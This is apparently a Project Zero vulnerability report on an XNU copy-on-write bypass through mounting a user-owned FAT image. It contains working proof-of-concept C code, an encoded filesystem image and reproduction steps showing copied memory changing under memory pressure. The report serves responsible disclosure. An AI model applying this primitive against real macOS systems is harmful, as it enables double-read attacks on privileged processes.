Issue 1726: XNU: copy-on-write behavior bypass via mount of user-owned filesystem image


XNU has various interfaces that permit creating copy-on-write copies of data between processes, including out-of-line message descriptors in mach messages. It is important that the copied memory is protected against later modifications by the source process; otherwise, the source process might be able to exploit double-reads in the destination process. This copy-on-write behavior works not only with anonymous memory, but also with file mappings. This means that, after the destination process has started reading from the transferred memory area, memory pressure can cause the pages holding the transferred memory to be evicted from the page cache. Later, when the evicted pages are needed again, they can be reloaded from the backing filesystem. This means that if an attacker can mutate an on-disk file without informing the virtual management subsystem, this is a security bug. MacOS permits normal users to mount filesystem images. When a mounted filesystem image is mutated directly (e.g. by calling pwrite() on the filesystem image), this information is not propagated into the mounted filesystem. The following is a simple proof-of-concept that demonstrates the problem, split across multiple small helpers for simplicity: buggycow.c (opens a file from a FAT image mount, creates a CoW mapping, and reads from it when requested): =============== #include <sys/mman.h> #include <fcntl.h> #include <err.h> #include <stdio.h> #include <mach/mach.h> #include <mach/mach_vm.h> int main(void) { setbuf(stdout, NULL); int fd = open("/Volumes/NO NAME/testfile", O_RDWR); if (fd == -1) err(1, "open"); unsigned int *mapping = mmap(NULL, 0x4000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); if (mapping == MAP_FAILED) err(1, "mmap"); pointer_t cow_mapping; mach_msg_type_number_t cow_mapping_size; if (vm_read(mach_task_self(), (mach_vm_address_t)mapping, 0x4000, &cow_mapping, &cow_mapping_size) != KERN_SUCCESS) errx(1, "vm read"); if (cow_mapping_size != 0x4000) errx(1, "vm read size"); while (1) { printf("orig mapping has value 0x%x, cow mapping has value 0x%x\n", *mapping, *(unsigned int*)cow_mapping); printf("press enter to continue: "); getchar(); } } =============== mod.c (modifies file contents inside the FAT filesystem image): =============== #include <fcntl.h> #include <err.h> #include <unistd.h> #include <stdio.h> int main(void) { int fd = open("fatimg.img", O_RDWR); if (fd == -1) err(1, "open"); if (pwrite(fd, "AAAA", 4, 0x37000) != 4) err(1, "pwrite"); printf("done\n"); } =============== pressure.c (creates memory pressure; you may have to change `SIZE` such that it is significantly bigger than the amount of RAM in your test machine): =============== #include <err.h> #include <sys/mman.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #define SIZE (1024UL*1024UL*1024UL*20UL) int main(void) { int fd = open("spamfile", O_RDWR|O_TRUNC|O_CREAT, 0666); if (fd == -1) err(1, "open"); if (ftruncate(fd, SIZE)) err(1, "ftruncate"); char *mapping = mmap(NULL, SIZE, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); if (mapping == MAP_FAILED) err(1, "mmap"); if (madvise(mapping, SIZE, MADV_RANDOM)) err(1, "madvise"); puts("mapped"); for (unsigned long off = 0; off < SIZE; off++) { mapping[off] = 42; } puts("done"); } =============== fatimg.img.bz2.base64 (FAT filesystem with a single file "testfile" in it, which contains the string "HELLO WORLD AAAA", stored at offset 0x37000): =============== QlpoOTFBWSZTWWCuw5MFfk7//d/7wSDRITEEZ2ffiTfv3KZAAEgIAJQECUBCBAlAybABOE1hqp+i kfkjETATJkwJgGiGIY1NM1PQEbU2jRqFTIjRmpo0ADRoMgAAAAGTJgTIARSSIaaZNGjQNAAAAAGg AAaNAGJ+LRgQ8YFAZoEEE/idIUFFFRJ4qiiqibs6RBGfFDBkXMCKKKqJFHpmCRSJUy7KhlXpv+9v 3xSiKkuWmWKvXPKtepMgooqomAQta6v5itC2YCvDFO2sRZn2nInTRQ0JDp3gdpjD2ksNgl5x3wDH Im3IkclmyVSy9hRzIWICM3xvZFLMqoTCM/zPU/QuS7kTsbg0EpXafayp5MmFUFvIVffyBxYWMQxC mELiRSUEmFTeEU2GyYJz4a6Bk9/eOGIUssEiThI2PAmlnHmgOGYdB6KHlZpCKIIOtCUdYeCKc8zg de5s8XX09eXR3r0f+n1NGwwBRRVRJ1oZEJSIkf5igrJMprIcE8W+Ar8cgAGAAAAQQABhAJqMhUBL UhUBLmKCskymsgePd5wAyE6AEYAAAAQAEEAAYZgKU0yogi2Kogi8XckU4UJCdb3A9A== =============== To reproduce: Unpack and compile the files: $ base64 -D < fatimg.img.bz2.base64 | bunzip2 > fatimg.img $ cc -o buggycow buggycow.c $ cc -o mod mod.c $ cc -o pressure pressure.c $ Mount the filesystem image (e.g. by double-clicking on it in finder). In one terminal: $ ./buggycow orig mapping has value 0x4c4c4548, cow mapping has value 0x4c4c4548 press enter to continue: In a second terminal: $ ./mod done $ ./pressure mapped Once you can see in "top" that there has been no physical memory anymore for a while - or when ./pressure has finished running -, go back to the first terminal and press enter. You should see this: $ ./buggycow orig mapping has value 0x4c4c4548, cow mapping has value 0x4c4c4548 press enter to continue: orig mapping has value 0x41414141, cow mapping has value 0x41414141 press enter to continue: (Weirdly, when you kill the ./pressure helper, e.g. by pressing CTRL+C, it takes minutes before the process actually disappears.) Ian made a proof of concept that demonstrates that this also applies to COW mappings created via out-of-line descriptors in mach messages; I've attached this PoC as mOOM_COW.tar.bz2. Usage: $ tar xf mOOM_COW.tar.bz2 $ cd mOOM_COW $ vi mOOM_COW.c # edit RAM_GB in the first line to the amount of RAM in your machine $ cc -o mOOM_COW mOOM_COW.c $ ./mOOM_COW [+] child got stashed port [+] child sent hello message to parent over shared port [+] parent received hello message from child [+] child restored stolen port [+] mounted fatimg [+] child sent message to parent [+] parent got an OOL descriptor for 4000 bytes, mapped COW at: 0x10bead000 [+] parent reads: 4c4c4548 [+] telling child to try to change what I see! [+] child received ping to start trying to change the OOL memory! [+] child wrote to the file underlying the mount [+] child is spamming [+] child has finished spamming [+] parent got ping message from child, lets try to read again... [+] parent reads: 41414141 This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public. 
mOOM_COW.tar.bz2
3.7 KB Download